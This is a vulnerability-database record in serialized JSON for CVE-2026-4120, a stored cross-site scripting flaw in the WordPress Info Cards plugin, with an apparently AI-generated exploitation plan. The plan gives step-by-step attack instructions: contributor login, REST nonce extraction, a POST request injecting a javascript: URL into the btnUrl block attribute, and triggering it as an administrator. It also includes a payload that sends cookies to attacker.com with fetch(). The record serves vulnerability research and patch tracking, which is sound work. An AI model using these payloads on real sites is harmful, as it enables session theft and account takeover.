[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f8-JcrH_XCFh17ds-wqI-Chgfpupv-yyyNBgyvgshGNc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-4120","info-cards-authenticated-contributor-stored-cross-site-scripting-via-block-attributes","Info Cards \u003C= 2.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block Attributes","The Info Cards – Add Text and Media in Card Layouts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btnUrl' parameter within the Info Cards block in all versions up to, and including, 2.0.7. This is due to insufficient input validation on URL schemes, specifically the lack of javascript: protocol filtering. The block's render.php passes all attributes as JSON to the frontend via a data-attributes HTML attribute using esc_attr(wp_json_encode()), which prevents HTML attribute injection but does not validate URL protocols within the JSON data. The client-side view.js then renders the btnUrl value directly as an href attribute on anchor elements without any protocol sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject javascript: URLs that execute arbitrary web scripts when a user clicks the rendered button link.","info-cards",null,"\u003C=2.0.7","2.0.8","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-18 00:00:00","2026-03-19 06:46:15",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F279984d9-f352-467f-a53d-814466d70326?source=api-prod",1,[22,23,24,25,26,27,28,29],"build\u002Fadmin-dashboard.asset.php","build\u002Fadmin-dashboard.js","build\u002Findex.asset.php","build\u002Findex.js","build\u002Frender.php","build\u002Fview.asset.php","build\u002Fview.js","info-cards.php","researched",false,3,"This exploitation research plan targets **CVE-2026-4120**, a Stored Cross-Site Scripting (XSS) vulnerability in the \"Info Cards\" WordPress plugin (version \u003C= 2.0.7).\n\n### 1. Vulnerability Summary\nThe vulnerability exists because the plugin allows the `btnUrl` attribute of its Gutenberg block to contain `javascript:` URIs. While the server-side rendering in `build\u002Frender.php` uses `esc_attr(wp_json_encode())` to safely embed attributes into a `data-attributes` HTML attribute, the client-side `view.js` subsequently extracts this JSON and assigns the `btnUrl` value directly to the `href` property of an anchor (`\u003Ca>`) element without protocol validation. This allows an authenticated user with at least Contributor-level permissions to inject malicious scripts that execute when a victim clicks a button within the rendered Info Card.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API for post creation\u002Fupdate (`\u002Fwp\u002Fv2\u002Fposts`) or the Gutenberg editor interface.\n*   **Vulnerable Attribute:** `btnUrl` within the `bplugins\u002Finfo-cards` block (namespace inferred).\n*   **Payload Location:** The block's JSON attributes.\n*   **Authentication Level:** Authenticated (Contributor+). Contributors can create posts and insert blocks.\n*   **Preconditions:** The plugin must be active, and a post containing the malicious block must be published or viewed as a draft by a user with higher privileges (e.g., Administrator).\n\n### 3. Code Flow\n1.  **Input:** A Contributor creates\u002Fupdates a post containing a block with the following markup:\n    `\u003C!-- wp:bplugins\u002Finfo-cards {\"btnUrl\":\"javascript:alert(document.domain)\",\"btnText\":\"Click Me\"} \u002F-->`\n2.  **Server-Side Storage:** WordPress saves the raw block markup in the `post_content` column of the `wp_posts` table.\n3.  **Server-Side Rendering (`build\u002Frender.php`):**\n    *   The `register_block_type` call in `info-cards.php` points to the `build` directory.\n    *   `build\u002Frender.php` executes when the post is viewed.\n    *   It retrieves `$attributes` (which includes `btnUrl`).\n    *   It renders: `\u003Cdiv ... data-attributes='\u003C?php echo esc_attr( wp_json_encode( $attributes ) ); ?>'>\u003C\u002Fdiv>`.\n    *   At this stage, the payload is safely encoded inside a JSON string within an HTML attribute.\n4.  **Client-Side Execution (`build\u002Fview.js`):**\n    *   The script (minified in the source) iterates through elements with `data-attributes`.\n    *   It calls `JSON.parse()` on the attribute value.\n    *   It dynamically generates an anchor tag: `const a = document.createElement('a');`.\n    *   It assigns the URL: `a.href = attributes.btnUrl;` (**Vulnerable Sink**).\n    *   The browser does not block `javascript:` protocols assigned to `href` via JavaScript.\n\n### 4. Nonce Acquisition Strategy\nTo exploit this via the REST API (the most reliable automated method), the agent needs a `wp_rest` nonce.\n\n1.  **Identify Trigger:** The block's frontend script is required to trigger the XSS.\n2.  **Access Admin:** Authenticate as `contributor`.\n3.  **Extract Nonce:**\n    *   Navigate to `wp-admin\u002Fpost-new.php`.\n    *   Use `browser_eval` to extract the REST nonce from the WordPress global settings object.\n    *   **JavaScript Command:** `window.wpApiSettings.nonce`\n4.  **Fallback:** If `wpApiSettings` is missing, extract the `_wpnonce` from any REST API script tag or the `heartbeat` settings.\n\n### 5. Exploitation Strategy\n1.  **Authentication:** Log in to the WordPress instance as a user with the `contributor` role.\n2.  **Nonce Extraction:** Navigate to `\u002Fwp-admin\u002Fpost-new.php` and run `browser_eval(\"wpApiSettings.nonce\")` to get the REST API nonce.\n3.  **Payload Preparation:** Define the block markup.\n    ```html\n    \u003C!-- wp:bplugins\u002Finfo-cards {\"btnUrl\":\"javascript:alert(document.cookie)\",\"btnText\":\"Secure Button\"} \u002F-->\n    ```\n4.  **Post Creation:** Send a `POST` request to `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` using the `http_request` tool.\n    *   **Headers:**\n        *   `Content-Type: application\u002Fjson`\n        *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n    *   **Body:**\n        ```json\n        {\n          \"title\": \"Info Card XSS Test\",\n          \"content\": \"\u003C!-- wp:bplugins\u002Finfo-cards {\\\"btnUrl\\\":\\\"javascript:alert(document.cookie)\\\",\\\"btnText\\\":\\\"Click Me\\\"} \u002F-->\",\n          \"status\": \"publish\"\n        }\n        ```\n5.  **Triggering XSS:**\n    *   As an Administrator, navigate to the newly created post's permalink.\n    *   The `view.js` will process the `data-attributes` and create the malicious link.\n    *   Click the element with the text \"Click Me\".\n\n### 6. Test Data Setup\n1.  **User:** Ensure a user with role `contributor` exists (e.g., `contributor_user` \u002F `password123`).\n2.  **Plugin Status:** Ensure \"Info Cards\" version 2.0.7 is installed and activated.\n3.  **Post Setup:** No specific existing content is required; the exploit creates its own post.\n\n### 7. Expected Results\n*   The `POST` request should return `201 Created`.\n*   The rendered HTML of the post should contain:\n    `\u003Cdiv ... data-attributes='{\"btnUrl\":\"javascript:alert(document.cookie)\",\"btnText\":\"Click Me\",...}'>`\n*   Upon clicking the button, a JavaScript `alert` box should appear displaying the user's cookies, confirming execution in the context of the victim's session.\n\n### 8. Verification Steps\n1.  **Check DB State:** Use `wp post get [ID] --field=post_content` to verify the block markup is stored correctly.\n2.  **Inspect HTML:** Use `browser_navigate` to the post and `browser_eval` to check the `href` of the generated anchor:\n    *   **Command:** `document.querySelector('a.icb-card-btn').href` (selector `icb-card-btn` is inferred from bPlugins standards; verify actual class if needed).\n3.  **Confirm Sink:** Verify the value starts with `javascript:`.\n\n### 9. Alternative Approaches\n*   **Editor Injection:** If the REST API is restricted, use `browser_navigate` to `\u002Fwp-admin\u002Fpost-new.php`, then use `browser_type` and `browser_click` to manually insert a \"Custom HTML\" block or \"Info Card\" block if the agent can interact with the Gutenberg UI.\n*   **Draft Preview:** If the Contributor cannot `publish`, they can save as a `draft`. The Administrator can then be directed to `\u002Fwp-admin\u002Fpost.php?post=[ID]&action=edit` or the preview URL to trigger the XSS.\n*   **Blind XSS:** Replace `alert()` with a `fetch()` call to an external collaborator to demonstrate data exfiltration.\n    *   **Payload:** `javascript:fetch('https:\u002F\u002Fattacker.com\u002Flog?c='+btoa(document.cookie))`","gemini-3-flash-preview","2026-04-18 02:34:25","2026-04-18 02:34:52",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","2.0.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finfo-cards\u002Ftags\u002F2.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Finfo-cards.2.0.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finfo-cards\u002Ftags\u002F2.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Finfo-cards.2.0.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finfo-cards\u002Ftags"]